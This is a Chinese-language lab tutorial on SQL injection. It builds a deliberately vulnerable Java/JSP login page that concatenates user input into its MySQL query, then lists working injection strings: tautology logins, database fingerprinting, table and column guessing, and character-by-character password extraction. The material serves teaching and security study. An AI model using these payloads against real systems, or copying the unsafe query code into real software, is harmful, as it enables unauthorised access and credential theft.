SQL 注入的原理:
1、结构化查询语言(SQL)是一种用来和数据库交互的文本语言,SQL Injection就是利用某些数据库的外部接口把用户数据插入到实际的数据库操作语言当中,从而达到入侵数据库乃至操作系统的目的。它的产生主要是由于程序对用户输入的数据没有进行细致的过滤,导致非法数据的导入查询。
2、SQL注入攻击主要是通过构建特殊的输入,这些输入往往是SQL语法中的一些组合,这些输入将作为参数传入Web应用程序,通过执行SQL语句而执行入侵者的想要的操作,一般想要攻击成功,需要做到以下三点:
1) 确定Web应用程序所使用的技术:注射式攻击对程序设计语言或硬件关系密切,但是这些可以通过适当的踩点或者索性将所有常见的注射式攻击都搬出来逐个试一下就知道了。为了确定所采用的技术,攻击者可以考察Web页面的页脚,查看错误页面,检查页面源代码,或者使用诸如Nessus等工具来进行刺探。
2) 确定所有可能的输入方式:Web应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如HTML表单;另外,攻击者可以通过隐藏的HTML表单输入、HTTP头部、cookies、甚至对用户不可见的后端AJAX请求来跟Web应用进行交互。一般来说,所有HTTP的GET和POST都应当作用户输入。为了找出一个Web应用所有可能的用户输入,我们可以求助于Web代理,如Burp等。
3) 查找可以用于注射的用户输入:在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。这个任务好像有点难,但是这里有一个小窍门,那就是多多留意Web应用的错误页面,很多时候您能从这里得到意想不到的收获。
实验的环境:
操作系统:Windows 7旗舰版
IDE:MyEclipse 8.6
数据库:Mysql
服务器:Tomcat 8.0
实验步骤:
1:Myeclipse创建web项目
2:mysql数据库创建表
3:tomcat发布项目
实验源码:
1、SQLinj.java
import java.sql.*;
importjava.sql.Connection;
importjava.sql.DriverManager;
importjava.sql.PreparedStatement;
importjava.sql.ResultSet;
import java.sql.SQLException;
/*
* 数据库的连接
*/
public classSQLinj {
private static StringdriverName="com.mysql.jdbc.Driver";
private static StringdbURL="jdbc:mysql://localhost:3306/userstest";
private static StringuserName="root";
private static StringuserPwd="******";
/*
*sql注入
*/
public Boolean select(String name,Stringpaswd){
Boolean bo = false;
Connection connection =null;
try{
Class.forName(driverName);
connection=DriverManager.getConnection(dbURL,userName,userPwd);
System.out.println("连接成功!");
}catch(ClassNotFoundException e){
e.printStackTrace();
}catch (SQLException e){
e.printStackTrace();
}
String selectsql="select *from users where name = '" + name + "' and paswd = '"+paswd+"'";
PreparedStatement pstmt=null;
try{
pstmt=connection.prepareStatement(selectsql);
ResultSetrs = pstmt.executeQuery();
if(rs.next()) bo=true;
}catch(SQLException e){
e.printStackTrace();
}finally{//关闭
try {
pstmt.close();
} catch (SQLException e) {
// TODOAuto-generated catch block
e.printStackTrace();
}
try {
connection.close();
} catch (SQLException e) {
// TODOAuto-generated catch block
e.printStackTrace();
}
}
return bo;
}
}
2、创建jsp 登录页面Index.jsp
<%@ page language="java"import="java.util.*"contentType="text/html; charset=utf-8" %>
<%
String path =request.getContextPath();
String basePath =request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
"<%=basePath%>">
"pragma" content="no-cache">
"cache-control" content="no-cache">
"expires" content="0">
"keywords" content="keyword1,keyword2,keyword3">
"description" content="Thisis my page">
3、login.jsp代码
<%@ page language="java"import="java.util.*" contentType="text/html;charset=utf8"%>
<%
String path = request.getContextPath();
String basePath =request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
"<%=basePath%>">
"pragma" content="no-cache">
"cache-control" content="no-cache">
"expires" content="0">
"keywords" content="keyword1,keyword2,keyword3">
"description" content="Thisis my page">
登录
"validate.jsp" method="post">
用户名"text" name="name"/>
密码"text" name="paswd" />
"submit" value="登录"/>"reset" value="重置"/>
4、验证页面validate.jsp代码
<%@ page language="java"import="java.util.*" contentType="text/html;charset=utf8"%>
<%
String path =request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<%@page import="com.util.SQLinj"%>
<%@taglib prefix="fmt"uri="https://java.sun.com/jsp/jstl/fmt" %>
<%@taglib prefix="c"uri="https://java.sun.com/jsp/jstl/core" %>
"<%=basePath%>">
"pragma" content="no-cache">
"cache-control" content="no-cache">
"expires" content="0">
"keywords" content="keyword1,keyword2,keyword3">
"description" content="Thisis my page">
<%
Stringname=request.getParameter("name");
Stringpaswd=request.getParameter("paswd");
out.print("你输入的用户名为:"+name+",");
out.print("密码为:"+paswd+"。
");
SQLinj sqlinj = new SQLinj();
Boolean bo=sqlinj.select(name,paswd);
pageContext.setAttribute("bo",bo);
%>
"${pageScope.bo}">
登录成功!
登录失败
SQL攻击执行命令:
1. 永真式登录(1' or '1'='1) 1'or'1'='1 密码随意
2. 永真式注入 asdfd'or 1=1 --
3. 猜用户名 如Tom,Jack,Bob,Alien,Christina
deniece' and 1=1 --
4. 猜数据库 access数据库 deniece ' and exists (select * from msysobjects) --
sql server数据库 deniece' and exists(select * from sysobjects) --
mysql数据库 deniece' and length(user( )) --
5. 判断数据库连接帐号有没有写权限 deniece' and (select count(*) from mysql.user) --
6. 猜表名--用正确的用户名猜测
deniece' and exists(select * from T_USERS) --
deniece' and exists(select * from users) --
7. 猜字段名 ---猜测正确的表名为前提
id,name,password,user,users,member,members,userlist,memberlist,userinfo,admin,manage
deniece' or (select count(*) from users where LENGTH(name)) --
8. 猜用户名中字母
1' or (select count(*) from users where LEFT(name,1)='d') --
1' or (select count(*) from users where LEFT(name,2)='de') --
9. 猜用户的密码
1' or (select count(*) from users where LEFT(paswd,2)='12') --